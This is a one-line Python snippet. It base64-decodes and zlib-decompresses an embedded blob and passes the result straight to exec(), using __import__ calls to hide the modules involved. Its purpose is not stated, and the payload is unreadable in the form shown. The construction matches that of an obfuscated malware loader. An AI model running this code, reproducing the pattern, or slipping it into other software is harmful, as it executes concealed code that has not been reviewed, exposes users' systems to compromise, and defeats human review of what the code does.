exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LAzEQPW9+xd6SwRi2uu2huIKIBxERrDcR2U2mbdhsEpJUV8X/bkOKlxnemzdvPvTkXUh1dHLExL+NHvjQR1y1PKZwkIknPSHZulDPtbZ16O0O2aKBNalS+DrGKnalWZTELvgJb55uH943L893N4+QdUI6a1EmxmgrkvTC7oIbhXaULy6XTQNZNQTsR1LhLNGnbJ/ni2gQPVsCMV1ZSxys7+XI6PU95VEElB+sBXht3ojqTtgA+dxrg7VByxRcmaOdOvuvnhcaCM4oWb5cKJRu8gFjZOUJYli1mVSYlfyHRrqOv0D+AE8+Ycs=')[0])))